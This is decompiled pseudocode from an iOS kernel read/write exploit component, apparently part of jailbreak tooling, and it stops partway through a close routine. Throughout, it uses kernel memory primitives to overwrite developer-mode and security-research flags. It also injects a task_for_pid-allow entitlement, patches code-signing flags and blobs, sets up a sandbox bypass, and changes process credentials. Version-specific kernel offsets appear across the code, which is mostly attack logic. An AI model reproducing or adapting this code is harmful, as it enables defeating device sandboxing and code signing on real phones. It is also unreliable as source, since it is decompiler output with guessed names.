      *(uint64_t *)(v68 + 144) = xnuVersion.qword20;
      *(uint32_t *)(v68 + 152) = krwCtx->gap16C[3];
      *(uint32_t *)(v68 + 56) = krwCtx->pageSizeOrSomething;
      if ( (unsigned int)alloc_kernel_offset_table(v68, *(uint64_t *)(v52 + 160)) )
      {
        krwCtx->gap1921[3] = v68;
        goto LABEL_267;
      }
      return 163863;
    }
    return 708617;
  }
LABEL_267:
  if ( !krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_HAS_AUXKC_INFO) )
  {
    if ( !(unsigned int)get_kext_base_addr((__int64)krwCtx, "com.apple.security.sandbox", &v98) )
      return 163864;
    v78 = (struct_a1 *)calloc(0x128u, 1u);
    if ( !v78 )
      return 708617;
    v79 = v78;
    v80 = (v41 >> 43 > 0x44A) << 6;
    krw_ctx_zero_fields(v78, (__int64)krwCtx);
    v81 = xnuVersion.oword10;
    v79->xnuMajorVersion = xnuVersion.majorVersion;
    v79->oword80 = v81;
    *(uint64_t *)&v79->oword90 = xnuVersion.qword20;
    DWORD2(v79->oword90) = krwCtx->gap16C[3];
    DWORD2(v79->oword30) = krwCtx->pageSizeOrSomething;
    if ( v41 > XNU_VERSION_PACKED(8791, 1023, 1023, 1023, 1023) )
    {
      BYTE1(v79->oword100) = 1;
      *((uint64_t *)&v79->owordA0 + 1) = v52;
    }
    if ( !iosurface_physmap_setup_bool((__int64)v79, krwCtx->gap191[693], v98, v80) )
      return 163863;
    LODWORD(v79->oword30) = *(uint32_t *)(v52 + 48);
    krwCtx->gap1921[102] = (uint64_t)v79;
    if ( !(unsigned int)get_kext_base_addr((__int64)krwCtx, "com.apple.driver.AppleMobileFileIntegrity", &v100) )
      return 163864;
    v82 = (struct_v83 *)calloc(0x128u, 1u);
    mach_port_with_a2 = 708617;
    if ( !v82 )
      return mach_port_with_a2;
    v83 = v82;
    krw_ctx_zero_fields((struct_a1 *)v82, (__int64)krwCtx);
    v84 = xnuVersion.oword10;
    v83->xnuMajorVersion = xnuVersion.majorVersion;
    v83->oword80 = v84;
    v83->qword90 = xnuVersion.qword20;
    v83->dword98 = krwCtx->gap16C[3];
    v83->dword38 = krwCtx->pageSizeOrSomething;
    if ( v41 > XNU_VERSION_PACKED(8791, 1023, 1023, 1023, 1023) )
    {
      v83->byte101 = 1;
      v83->qwordA8 = v52;
    }
    if ( !iosurface_physmap_setup_bool((__int64)v83, krwCtx->gap191[693], v100, v80) )
      return 163863;
    v83->dword30 = *(uint32_t *)(v52 + 48);
    krwCtx->gap1921[103] = (uint64_t)v83;
  }
  *(uint64_t *)&v104.st_dev = 0;
  v70 = *(uint64_t *)&krwCtx->gap42[104];
  if ( !v70 || !*(uint64_t *)&krwCtx->gap42[112] || (v71 = *(uint64_t *)(v70 + 296), (*(uint64_t *)&v104.st_dev = v71) == 0) )
  {
    v77 = find_kernel_gadget(krwCtx->gap1921[2]);
    if ( !v77 )
      return 163866;
    if ( !(unsigned int)krw_read_thunk(krwCtx, (__int64)v77, krwCtx->stride168, &v104) )
      return 163866;
    v71 = *(uint64_t *)&v104.st_dev;
    if ( (v104.st_dev & 1) == 0 )
      return 163866;
    v85 = *(uint64_t *)&krwCtx->gap42[104];
    if ( v85 && *(uint64_t *)&krwCtx->gap42[112] )
    {
      *(uint64_t *)(v85 + 296) = *(uint64_t *)&v104.st_dev;
      v71 = *(uint64_t *)&v104.st_dev;
    }
  }
  *(uint64_t *)&krwCtx->gap42[136] = v71;
  krw_ctx_clr_flag(krwCtx, 256);
  if ( krwCtx->gap1911[0] == -1
    || krwCtx->gap1911[1] == -1
    || krwCtx->gap1915 == -1
    || !krwCtx->gap190u
    || (mach_port_with_a2 = setup_iosurface_semaphore_helper((__int64)krwCtx), !(uint32_t)mach_port_with_a2) )
  {
    if ( krwCtx->threadForKernelRead + 1 < 2
      || !*(uint64_t *)&krwCtx->gap42[40]
      || (mach_port_with_a2 = find_map_iosurface_memory((__int64)krwCtx), !(uint32_t)mach_port_with_a2) )
    {
      if ( krwCtx->xnuVersionPacked <= XNU_VERSION_PACKED(8791, 1023, 1023, 1023, 1023) )
        goto LABEL_280;
      LOBYTE(cpuFamily) = 0;
      if ( (unsigned int)check_krw_necp_state(krwCtx, (bool *)&cpuFamily) )
      {
        if ( (uint8_t)cpuFamily )
          goto LABEL_280;
        if ( (unsigned int)check_dispatch_krw_state(krwCtx, 1) )
        {
          v86 = krwCtx->gap1921[103];
          if ( !v86 )
            return 708609;
          variable_addr = kernel_find_symbol_by_cstring_scan(v86, "__DATA", "__data", "developer_mode_status");
          if ( !variable_addr )
            return 163867;
          v88 = variable_addr;
          mach_port_with_a2 = 163855;
          if ( !kread_physmap_decorated(krwCtx, variable_addr - 2LL * krwCtx->stride168, (unsigned __int64 *)&v104) )
            return mach_port_with_a2;
          if ( *(uint64_t *)&v104.st_dev )
            goto LABEL_280;
          v89 = kernel_find_symbol_by_cstring_scan(krwCtx->gap1921[103], "__DATA", "__data", "allows_security_research");
          if ( !v89 )
            return 163867;
          v90 = v89;
          if ( !kread_physmap_decorated(krwCtx, v88, &v103) )
            return mach_port_with_a2;
          if ( !v103 )
            return 163878;
          mach_port_with_a2 = 163856;
          if ( !kwrite64(krwCtx, v90, v103) || !kwrite64(krwCtx, v88, v103 + 10) )
            return mach_port_with_a2;
LABEL_280:
          if ( v97 || v94 > XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
          {
            mach_port_with_a2 = refresh_target_task_port((__int64)krwCtx, mach_task_self_, 0, 0);
            if ( (uint32_t)mach_port_with_a2 )
              return mach_port_with_a2;
          }
          if ( v95 )
          {
            mach_port_with_a2 = physmap_kread(krwCtx, mach_task_self_);
            if ( (uint32_t)mach_port_with_a2 )
              return mach_port_with_a2;
            mach_port_with_a2 = setup_krw_engine(krwCtx);
            if ( (uint32_t)mach_port_with_a2 )
              return mach_port_with_a2;
          }
          krwCtx->gap1909 = mach_host_self();
          v72 = get_kernel_task_host_port((__int64)krwCtx);
          LODWORD(krwCtx->gap191[694]) = v72;
          mach_port_with_a2 = 163854;
          if ( krwCtx->gap1909 + 1 < 2 )
            return mach_port_with_a2;
          v73 = v72;
          if ( v72 + 1 < 2 )
            return mach_port_with_a2;
          if ( (krwCtx->flags & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 )
          {
            if ( krwCtx->xnuVersionPacked <= XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) )
            {
              v74 = get_ioservice_conn_port((__int64)krwCtx);
              HIDWORD(krwCtx->gap191[694]) = v74;
              if ( (unsigned int)(v74 + 1) < 2 )
                return mach_port_with_a2;
              goto LABEL_291;
            }
LABEL_293:
            if ( !set_task_special_port_and_patch_uid((__int64)krwCtx, mach_task_self_, v73) )
              return 163848;
            krw_ctx_set_flag(krwCtx, KRW_CTX_FLAG_HOST_PORT_READY);
          }
          else
          {
LABEL_291:
            if ( krwCtx->xnuVersionPacked > XNU_VERSION_PACKED(7195, 100, 325, 1023, 1023) )
            {
              v73 = krwCtx->gap191[694];
              goto LABEL_293;
            }
          }
          v76 = krwCtx->gap191[694];
          if ( v76 + 1 < 2 )
            return 708609;
          v104.st_dev = 0;
          if (1) return 0;// FIXME: host_get_special_port doesn't work on Dopamine
          if ( host_get_special_port(v76, -1, 16, (mach_port_t *)&v104) )
            return 708619;
          if ( (unsigned int)(v104.st_dev + 1) >= 2 )
          {
            mach_port_deallocate(mach_task_self_, v104.st_dev);
            return 708644;
          }
          mach_port_with_a2 = pgtable_write_aligned((__int64)krwCtx);
          if ( (uint32_t)mach_port_with_a2 )
            return mach_port_with_a2;
          if ( v96 || !something )
            return 0;
          setupPath = krw_select_setup_path(krwCtx);
          v92 = krw_finish_selected_setup_path(krwCtx, setupPath);
          if ( !v92 )
            return 163868;
          return 0;
        }
        return 163843;
      }
      return v8;
    }
  }
  return mach_port_with_a2;
}
// 3CDA8: variable 'v7' is possibly undefined
// 3DDB8: variable 'v75' is possibly undefined
// 19B94: using guessed type __int64 __fastcall macho_read_u64_thunk(uint64_t, uint64_t);
// 43730: using guessed type __int128 xmmword_43730;

//----- (000000000003E1D8) ----------------------------------------------------
bool __fastcall validate_ipc_kobject_read(struct_krwCtx *a1, mach_port_t a2)
{
  unsigned __int64 v3; // x21
  unsigned __int64 v4; // x0
  __int64 v5; // x8
  int v6; // w10
  int v7; // w11
  __int64 v8; // x9
  unsigned int v9; // w20
  __int64 v10; // x20
  __int64 v11; // x1
  __int64 v12; // x0
  __int64 v13; // x3
  __int64 v14; // x8
  __int64 v16; // [xsp+8h] [xbp-48h] BYREF
  __int64 v17; // [xsp+10h] [xbp-40h] BYREF
  __int64 v18; // [xsp+18h] [xbp-38h] BYREF
  int v19; // [xsp+24h] [xbp-2Ch] BYREF
  __int64 v20; // [xsp+28h] [xbp-28h] BYREF

  v3 = a1->xnuVersionPacked;
  v4 = get_task_kobject_addr(a1, a2);
  if ( !v4 )
    return 0;
  v5 = 0;
  v6 = v3 <= XNU_VERSION_PACKED(6153, 40, 149, 1023, 1023) ? 56 : 48;
  v7 = a1->xnuMajorVersion;
  if ( v7 > 8791 )
  {
    v9 = 352;
    v8 = 776;
    if ( v7 != 8792 && v7 != 8796 && v7 != 10002 )
      return v5;
  }
  else if ( (unsigned int)(v7 - 8019) < 2 )
  {
    v8 = 784;
    if ( a1->xnuVersionPacked <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
      v8 = 824;
    v9 = 352;
  }
  else if ( v7 == 6153 )
  {
    v9 = 10 * v6;
    v8 = 808;
  }
  else
  {
    if ( v7 != 7195 )
      return v5;
    v8 = 832;
    if ( a1->xnuVersionPacked <= XNU_VERSION_PACKED(7195, 100, 325, 1023, 1023) )
      v8 = 824;
    v9 = 10 * v6;
  }
  if ( !kread_physmap_decorated(a1, v8 + v4, (unsigned __int64 *)&v20) )
    return 0;
  if ( !validate_kaddr_range((__int64)a1, v20) )
    return 0;
  v10 = v20 + v9 + 24;
  if ( !(unsigned int)krw_read_thunk(a1, v10, 4, &v19) )
    return 0;
  if ( (v19 & 1) == 0 )
    return 0;
  v18 = 0x7FFFFFFFFFFFFFFFLL;
  if ( !(unsigned int)kwrite_with_retry((__int64)a1, v10 + 8, (__int64)&v18, 8) )
    return 0;
  if ( v3 < XNU_VERSION_PACKED(6153, 40, 150, 0, 0) )
  {
    v17 = 0x7FFFFFFFFFFFFFFFLL;
    v11 = v10 + 16;
    v12 = (__int64)a1;
    v13 = 8;
  }
  else
  {
    LOWORD(v17) = -1;
    v11 = v10 + 4;
    v12 = (__int64)a1;
    v13 = 2;
  }
  if ( !(unsigned int)kwrite_with_retry(v12, v11, (__int64)&v17, v13) )
    return 0;
  v19 &= 0xFFFFCB0F;
  if ( !(unsigned int)kwrite_with_retry((__int64)a1, v10, (__int64)&v19, 4) )
    return 0;
  v16 = 0;
  v14 = 48;
  if ( v3 > XNU_VERSION_PACKED(6153, 40, 149, 1023, 1023) )
    v14 = 40;
  return (unsigned int)kwrite_with_retry((__int64)a1, v10 + v14, (__int64)&v16, 8) != 0;
}

//----- (000000000003E42C) ----------------------------------------------------
__int64 __fastcall driver_init2(struct_krwCtx **krwCtxOut, char something)
{
  struct_krwCtx *krwCtx = (struct_krwCtx *)calloc(KRW_CTX_SIZE, 1u);
  if ( !krwCtx )
    return 0xAD009;

  uint64_t initResult = driver_init2_1(krwCtx, (something & 1) == 0);
  if ( !(uint32_t)initResult )
  {
    if ( (unsigned int)get_root_statfs((__int64)krwCtx, &krwCtx->isRW) )
    {
      *krwCtxOut = krwCtx;
      free_decompressed_macho(krwCtx);
      return 0;
    }
    free_decompressed_macho(krwCtx);
    initResult = 163873;
  }

  free(krwCtx);
  return initResult;
}

//----- (000000000003E4D0) ----------------------------------------------------
__int64 __fastcall free_decompressed_macho(uint64_t *a1)
{
  __int64 v2; // x0
  __int64 v3; // x0
  __int64 v4; // x0
  __int64 v5; // x0
  __int64 v6; // x0
  __int64 result; // x0
  __int64 vars8; // [xsp+18h] [xbp+8h]

  v2 = a1[831];
  if ( v2 )
    unmap_macho_image(v2);
  v3 = a1[931];
  if ( v3 )
    unmap_macho_image(v3);
  v4 = a1[932];
  if ( v4 )
    unmap_macho_image(v4);
  v5 = a1[933];
  if ( v5 )
    unmap_macho_image(v5);
  v6 = a1[934];
  if ( v6 )
    unmap_macho_image(v6);
  result = a1[935];
  if ( result )
  {
    return unmap_macho_image(result);
  }
  return result;
}
// 3E534: variable 'vars8' is possibly undefined

//----- (000000000003E550) ----------------------------------------------------
__int64 __fastcall driver_dispatch_command2(
        struct_krwCtx *krwCtx,
        int cmd,
        __int64 cmdMirror,
        __int64 arg0,
        __int64 arg1,
        __int64 arg2,
        __int64 arg3,
        __int64 arg4,
        __int64 inoutValue)
{
  return driver_dispatch_command3(krwCtx, cmd, inoutValue);
}

//----- (000000000003E580) ----------------------------------------------------
__int64 __fastcall driver_dispatch_command3(struct_krwCtx *a1, int cmd, __int64 inoutValue)
{
  __int64 v3; // x20
  __int64 v6; // x21
  __int64 result; // x0
  unsigned __int32 v8[2]; // x0
  __int64 v9; // x20
  int xnuMajorVersion; // w8
  __int64 v11; // x22
  __int64 v12; // x8
  task_name_t v17; // w1
  struct_krwCtx *v18; // x0
  int v19; // w2
  __int64 *v20; // x3
  task_inspect_t v29; // w1
  mach_port_t v30; // w1
  mach_port_t v31; // w20
  unsigned int v32; // w1
  task_inspect_t v33; // w1
  __int64 v34; // x4
  mach_port_t v35; // w1
  mach_port_t v36; // w1
  mach_port_t v37; // w1
  struct_krwCtx *v38; // x0
  int v39; // w2
  mach_port_t v40; // w1
  int v41; // w0
  task_name_t v42; // w1
  int v43; // t1
  int v44; // w1
  vm_prot_t v45; // w4
  unsigned int v46; // w1
  mach_vm_address_t v47; // x21
  unsigned __int64 v48; // x20
  int v49; // w22
  __int64 v50; // [xsp+0h] [xbp-40h] BYREF
  int v52; // [xsp+Ch] [xbp-34h] BYREF

  v3 = inoutValue;
  v6 = 708616;
  if ( !((unsigned int)cmd >> 30) || (result = 708609, inoutValue) )
  {
    *(__int128 *)&a1->gap191[681] = 0u;
    krw_ctx_clr_flag(a1, 0x800000);
    update_timer_lru_cache((__int64)a1);
    result = refresh_target_task_port((__int64)a1, mach_task_self_, 0, 0);
    if ( !(uint32_t)result )
    {
      if ( BYTE1(cmd) == 3 )
      {
        v6 = driver_dispatch_stage3_command(a1, cmd, v3);
        goto LABEL_219;
      }
      if ( BYTE1(cmd) != 1 )
      {
        if ( !BYTE1(cmd) )
        {
          v8[0] = 0;
          if ( cmd <= 0x40000003 )
          {
            switch ( cmd )
            {
              case DRIVER_CMD_PATCH_PARENT_CSFLAGS:
                LODWORD(v50) = 0;
                v52 = 0;
                *(uint64_t *)v8 = kread_task_struct(a1, mach_task_self_);
                if ( !*(uint64_t *)v8 )
                  goto LABEL_215;
                v9 = *(uint64_t *)v8;
                v8[0] = 0;
                xnuMajorVersion = a1->xnuMajorVersion;
                if ( xnuMajorVersion <= 8019 )
                {
                  switch ( xnuMajorVersion )
                  {
                    case 6153:
                      v11 = 352;
                      v12 = 328;
                      break;
                    case 7195:
                      v11 = 328;
                      v12 = 304;
                      break;
                    case 8019:
                      v11 = 476;
                      v12 = 448;
                      break;
                    default:
                      goto LABEL_215;
                  }
                }
                else if ( xnuMajorVersion > 8795 )
                {
                  if ( xnuMajorVersion != 8796 && xnuMajorVersion != 10002 )
                    goto LABEL_215;
                  v11 = 1140;
                  v12 = 1112;
                }
                else if ( xnuMajorVersion == 8020 )
                {
                  v11 = 644;
                  v12 = 616;
                }
                else
                {
                  if ( xnuMajorVersion != 8792 )
                    goto LABEL_215;
                  v11 = 636;
                  v12 = 608;
                }
                v47 = v12 + v9;
                v8[0] = kread_u32((__int64)a1, v12 + v9, &v52);
                if ( v8[0] )
                {
                  v48 = v11 + v9;
                  v8[0] = kread_u32((__int64)a1, v48, &v50);
                  if ( v8[0] )
                  {
                    if ( a1->xnuMajorVersion < 8792 || (v52 & 2) != 0 )
                    {
                      if ( (v52 & 0x400) == 0
                        || (v49 = v50, v49 != getppid())
                        || (v52 &= ~0x400u, (v8[0] = noppl_kwrite32((__int64)a1, v47, v52)) != 0)
                        && (v8[0] = noppl_kwrite32((__int64)a1, v48, 0)) != 0 )
                      {
                        v8[0] = 1;
                      }
                    }
                    else
                    {
                      v8[0] = 0;
                    }
                  }
                }
                break;
              case DRIVER_CMD_GET_SELF_TASK_PORT_OFFSET:
                v30 = mach_task_self_;
                goto LABEL_124;
              case DRIVER_CMD_INJECT_TFP0_ENTITLEMENT:
                v8[0] = krw_inject_entitlements_maybe(
                          (__int64)a1,
                          mach_task_self_,
                          "<dict><key>task_for_pid-allow</key><true/></dict>");
                goto LABEL_215;
              case 4:
              case 5:
              case 14:
              case 16:
              case 17:
              case 18:
              case 24:
              case 25:
              case 27:
              case 28:
              case 29:
              case 30:
              case 32:
              case 33:
              case 35:
              case 36:
              case 37:
                goto LABEL_216;
              case DRIVER_CMD_PATCH_CSBLOB:
                setup_pgtable_and_patch_csblob((__int64)a1, mach_task_self_);
                goto LABEL_215;
              case DRIVER_CMD_SET_THREAD_KOBJ_DISPATCH:
                v31 = mach_thread_self();
                v32 = HIDWORD(a1->gap191[693]);
                if ( !v32 )
                  v32 = a1->gap191[693];
                if ( !kwrite_task_dispatch_via_kobj((__int64)a1, v32, v31) )
                  goto LABEL_215;
                LODWORD(v6) = 0;
                if ( a1->gap1910 + 1 <= 1 )
                  a1->gap1910 = v31;
                goto LABEL_146;
              case DRIVER_CMD_GET_OR_SET_SELF_UID_CRED:
                v8[0] = get_or_set_uid_cred_in_task((__int64)a1, 0, 0, 0);
                goto LABEL_215;
              case DRIVER_CMD_SET_SELF_SPECIAL_PORT:
                v33 = mach_task_self_;
                goto LABEL_136;
              case DRIVER_CMD_SETUP_SANDBOX_BYPASS:
                setup_sandbox_bypass((__int64)a1, 1);
                goto LABEL_215;
              case DRIVER_CMD_CHECK_SELF_DYLD_INFO:
                v50 = 0x100000000LL;
                v17 = mach_task_self_;
                v20 = &v50;
                v18 = a1;
                v19 = 2;
                goto LABEL_105;
              case DRIVER_CMD_KREAD_SET_VM_ATTR:
                if ( (uint32_t)v3 )
                  v35 = v3;
                else
                  v35 = mach_task_self_;
                v8[0] = kread_and_set_vm_attr(a1, v35);
                goto LABEL_215;
              case DRIVER_CMD_NECP_SEND_SELF:
                v36 = mach_task_self_;
                goto LABEL_128;
              case DRIVER_CMD_PGTABLE_KREAD_VM_ATTR:
                if ( (uint32_t)v3 )
                  v37 = v3;
                else
                  v37 = mach_task_self_;
                v38 = a1;
                v39 = 1;
                goto LABEL_119;
              case DRIVER_CMD_PGTABLE_KREAD_VM_ATTR_NO_PATCH:
                if ( (uint32_t)v3 )
                  v37 = v3;
                else
                  v37 = mach_task_self_;
                v38 = a1;
                v39 = 0;
LABEL_119:
                v8[0] = pgtable_kread_vm_attr_loop(v38, v37, v39);
                goto LABEL_215;
              case DRIVER_CMD_INJECT_CSBLOB_ENTITLEMENT:
                v8[0] = csblob_inject_entitlement(a1, mach_task_self_, (const char *)v3);
                goto LABEL_215;
              case DRIVER_CMD_GET_TASK_PORT_PID_OFFSET:
                if ( (uint32_t)v3 )
                  v30 = v3;
                else
                  v30 = mach_task_self_;
LABEL_124:
                v8[0] = get_task_port_pid_field_offset(a1, v30);
                goto LABEL_215;
              case DRIVER_CMD_NECP_SEND_TASK:
                if ( (uint32_t)v3 )
                  v36 = v3;
                else
                  v36 = mach_task_self_;
LABEL_128:
                v8[0] = necp_send_msg_3((__int64)a1, v36, 0);
                goto LABEL_215;
              case DRIVER_CMD_VALIDATE_IPC_KOBJECT_READ:
                if ( (uint32_t)v3 )
                  v40 = v3;
                else
                  v40 = mach_task_self_;
                v8[0] = validate_ipc_kobject_read((__int64)a1, v40);
                goto LABEL_215;
              case DRIVER_CMD_SET_TASK_SPECIAL_PORT:
                if ( (uint32_t)v3 )
                  v33 = v3;
                else
                  v33 = mach_task_self_;
LABEL_136:
                v8[0] = set_task_special_port_and_patch_uid((__int64)a1, v33, a1->gap191[694]);
                goto LABEL_215;
              case DRIVER_CMD_PHYSMAP_KREAD_AND_REFRESH:
                if ( !(uint32_t)v3 )
                  LODWORD(v3) = mach_task_self_;
                v41 = physmap_kread(a1, v3);
                if ( !v41 )
                  v41 = refresh_target_task_port((__int64)a1, v3, 0, 0);
                goto LABEL_145;
              case DRIVER_CMD_INSERT_TASK_SEND_RIGHT:
                if ( (uint32_t)v3 )
                  v42 = v3;
                else
                  v42 = mach_task_self_;
                v41 = insert_task_port_send_right_versioned((__int64)a1, v42);
LABEL_145:
                LODWORD(v6) = v41;
LABEL_146:
                v8[0] = 1;
                goto LABEL_216;
              case DRIVER_CMD_KREAD_PROC_ENTITLEMENT_DATA:
                v8[0] = kread_proc_kobj_entitlement_data(a1, mach_task_self_);
                goto LABEL_215;
              default:
                switch ( cmd )
                {
                  case DRIVER_CMD_GET_PROC_EXEC_FLAGS:
                    if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK) )
                      goto LABEL_48;
                    v8[0] = krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A11);
                    if ( !v8[0] )
                      goto LABEL_216;
                    if ( a1->xnuMajorVersion < 6153 )
                      goto LABEL_188;
LABEL_48:
                    v8[0] = get_proc_kobj_exec_flags((__int64)a1, *(uint32_t *)v3, (bool *)(v3 + 4), (bool *)(v3 + 6), (bool *)(v3 + 5));
                    break;
                  case DRIVER_CMD_UNSUPPORTED_1C:
                  case DRIVER_CMD_UNSUPPORTED_1E:
                  case DRIVER_CMD_UNSUPPORTED_1F:
                  case DRIVER_CMD_UNSUPPORTED_21:
                  case DRIVER_CMD_UNSUPPORTED_22:
                    goto LABEL_216;
                  case DRIVER_CMD_TASK_FOR_PID_OR_NAME_RET_PTR:
                    v8[0] = krw_task_for_pid_or_name_ret_ptr(a1, *(uint32_t *)v3, 0, (mach_port_name_t *)(v3 + 4));
                    goto LABEL_215;
                  case DRIVER_CMD_UPDATE_PHYSMAP_TABLE_TASK:
                    v43 = *(uint32_t *)v3;
                    v3 += 4;
                    v29 = v43;
                    goto LABEL_150;
                  case DRIVER_CMD_KREAD_VERSION_CHECK:
                    v8[0] = krw_read_with_version_check(a1, *(uint32_t *)v3, *(uint64_t *)(v3 + 8), (bool *)(v3 + 24));
                    goto LABEL_215;
                  default:
                    if ( cmd != DRIVER_CMD_UPDATE_PHYSMAP_TABLE_SELF )
                      goto LABEL_216;
                    v29 = mach_task_self_;
LABEL_150:
                    v8[0] = update_physmap_table_entry_count((__int64)a1, v29, (host_t *)v3);
                    goto LABEL_215;
                }
                goto LABEL_215;
            }
            goto LABEL_215;
          }
          switch ( cmd )
          {
            case DRIVER_CMD_CHECK_TASK_DYLD_INFO_8:
              v17 = *(uint32_t *)v3;
              v18 = a1;
              v19 = 1;
              v20 = (__int64 *)(v3 + 4);
LABEL_105:
              v34 = 8;
              goto LABEL_153;
            case DRIVER_CMD_CHECK_TASK_DYLD_INFO_32:
              v17 = *(uint32_t *)v3;
              v18 = a1;
              v19 = 3;
              v20 = (__int64 *)(v3 + 4);
              v34 = 32;
LABEL_153:
              v8[0] = check_task_dyld_info_versioned(v18, v17, v19, v20, v34);
              goto LABEL_215;
            case DRIVER_CMD_KREAD_PROC_ENTITLEMENT_FULL:
              if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK) )
              {
                if ( check_necp_flag(a1) )
                {
LABEL_189:
                  v46 = *(uint32_t *)v3;
                  if ( !*(uint32_t *)v3 )
                  {
                    v46 = mach_task_self_;
                    *(uint32_t *)v3 = mach_task_self_;
                  }
                  v8[0] = kread_proc_kobj_entitlement_full(
                    (__int64)a1,
                    v46,
                    *(unsigned __int8 *)(v3 + 4),
                    *(unsigned __int8 *)(v3 + 6),
                    *(unsigned __int8 *)(v3 + 5));
LABEL_215:
                  LODWORD(v6) = 0;
LABEL_216:
                  v6 = driver_dispatch_finish(v6, v8[0]);
                  break;
                }
              }
              else
              {
                v8[0] = krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A11);
                if ( !v8[0] )
                  goto LABEL_216;
                if ( a1->xnuMajorVersion >= 6153 )
                  goto LABEL_189;
              }
LABEL_188:
              v8[0] = 0;
              goto LABEL_216;
            case DRIVER_CMD_SET_THREAD_STATE_VERSIONED:
              v44 = *(uint32_t *)v3;
              if ( !*(uint32_t *)v3 )
              {
                v44 = mach_task_self_;
                *(uint32_t *)v3 = mach_task_self_;
              }
              v8[0] = set_thread_state_versioned(
                        a1,
                        v44,
                        *(uint32_t *)(v3 + 4),
                        *(uint32_t *)(v3 + 8),
                        *(natural_t **)(v3 + 16),
                        *(uint32_t *)(v3 + 24));
              goto LABEL_215;
            case DRIVER_CMD_MACH_VM_WIRE:
              if ( *(uint8_t *)(v3 + 28) )
              {
                v45 = *(uint32_t *)(v3 + 24);
              }
              else
              {
                v45 = 0;
                *(uint32_t *)(v3 + 24) = 0;
              }
              LODWORD(v6) = 0;
              v8[0] = mach_vm_wire(a1->gap191[694], *(uint32_t *)v3, *(uint64_t *)(v3 + 8), *(uint64_t *)(v3 + 16), v45) == 0;
              goto LABEL_216;
            case DRIVER_CMD_KWRITE_VERSION_CHECK:
              v8[0] = kwrite_with_version_check(a1, *(uint32_t *)v3, *(uint64_t *)(v3 + 8), *(unsigned __int8 *)(v3 + 24));
              goto LABEL_215;
            default:
              goto LABEL_216;
          }
        }
LABEL_219:
        free_decompressed_macho(a1);
        return v6;
      }
      v6 = driver_dispatch_stage1_command(a1, cmd, v3);
      goto LABEL_219;
    }
  }
  return result;
}
// 3E8F0: control flows out of bounds to 0
// 3E7E0: conditional instruction was optimized away because w22.4>=40000004
// 3EC84: variable 'v8' is possibly undefined

//----- (000000000003F2E0) ----------------------------------------------------
__int64 __fastcall reinit_and_refresh_krw_ctx(__int64 a1)
{
  __int64 v2; // x20
  unsigned int v4; // w1
  int v6; // w22
  mach_port_t v7; // w1
  int v8; // w2
  int v10; // [xsp+Ch] [xbp-24h] BYREF

  *(__int128 *)(a1 + 6328) = 0u;
  krw_ctx_clr_flag((uint32_t *)a1, 0x800000);
  update_timer_lru_cache(a1);
  v2 = refresh_target_task_port(a1, mach_task_self_, 0, 0);
  if ( (uint32_t)v2 )
    return v2;
  v2 = 163871;
  if ( krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_SNAPSHOT_MOUNTED) )
  {
    v10 = 0;
    if ( !(unsigned int)get_root_statfs(a1, &v10) )
      return 163872;
    if ( v10 != 3 )
    {
      v4 = *(uint32_t *)(a1 + 600);
      if ( v4 >= 2 )
      {
        if ( v4 != 3 )
          return 163872;
        v4 = 0;
      }
      if ( v10 == v4 || (unsigned int)check_mount_thread_info((struct_krwCtx *)a1, v4) )
        goto LABEL_11;
      return 163872;
    }
  }
LABEL_11:
  if ( !krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_MOBILEBACKUP_SANDBOX_PATCHED) || (unsigned int)setup_sandbox_bypass(a1, 0) )
  {
    if ( !*(uint64_t *)(a1 + 6400)
      || (unsigned int)check_task_dyld_info_versioned((struct_krwCtx *)a1, mach_task_self_, 2, (const void *)(a1 + 6408), 8) )
    {
      if ( (v6 = *(uint32_t *)(a1 + 6444), (unsigned int)(v6 + 1) < 2)
        || v6 != mach_thread_self()
        || ((v7 = mach_thread_self(), *(uint64_t *)(a1 + 344) > XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023)) ? (v8 = 1) : (v8 = 0x4000000),
            (unsigned int)set_flags_something_INEEDTOLOOK_sub_3F8C0(a1, v7, v8, 0)) )
      {
        if ( !*(uint64_t *)(a1 + 6416) || (unsigned int)get_or_set_uid_cred_in_task(a1, *(uint32_t *)(a1 + 6416), *(uint32_t *)(a1 + 6420), 0) )
        {
          if ( mach_host_self() == *(uint32_t *)(a1 + 6440)
            || krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_HOST_PORT_READY)
            || (unsigned int)set_task_special_port_and_patch_uid(a1, mach_task_self_, *(uint32_t *)(a1 + 6440)) )
          {
            free_decompressed_macho((uint64_t *)a1);
            return 0;
          }
        }
      }
    }
  }
  return v2;
}
// 3F3D4: variable 'v5' is possibly undefined
// 3F4A0: variable 'v9' is possibly undefined

//----- (000000000003F4BC) ----------------------------------------------------
__int64 __fastcall driver_close_internal(char *a1)
{
  void (__fastcall *v2)(char *); // x8
  mach_port_name_t v3; // w1
  int v4; // w0
  int v5; // w0
  int v6; // w0
  int v7; // w0
  int v8; // w0
  mach_port_name_t v9; // w1
  io_object_t v10; // w0
  vm_address_t v11; // x1
  vm_size_t v12; // x2
  semaphore_t v13; // w1
  uint32_t *v14; // x21
  mach_port_name_t v15; // w1
  uint32_t *v16; // x23
  __int64 v17; // x0
  __int64 v18; // x0
  __int64 v19; // x0
  __int64 v20; // x0
  __int64 v21; // x0
  __int64 v22; // x0
  __int64 v23; // x0
  void *v24; // x0
  mach_port_name_t v25; // w1
  int v27; // [xsp+Ch] [xbp-34h] BYREF

  necp_dispatch_by_version((struct_krwCtx *)a1);
  iterate_active_threads((__int64)a1);
  v2 = (void (__fastcall *)(char *))*((uint64_t *)a1 + 58);
  if ( v2 )
    v2(a1);
  v3 = *((uint32_t *)a1 + 1606);
  if ( v3 + 1 >= 2 )
    mach_port_deallocate(mach_task_self_, v3);
  if ( *((uint32_t *)a1 + 1614) != -1
    || *((uint32_t *)a1 + 1615) != -1
    || *((uint32_t *)a1 + 1612) != -1
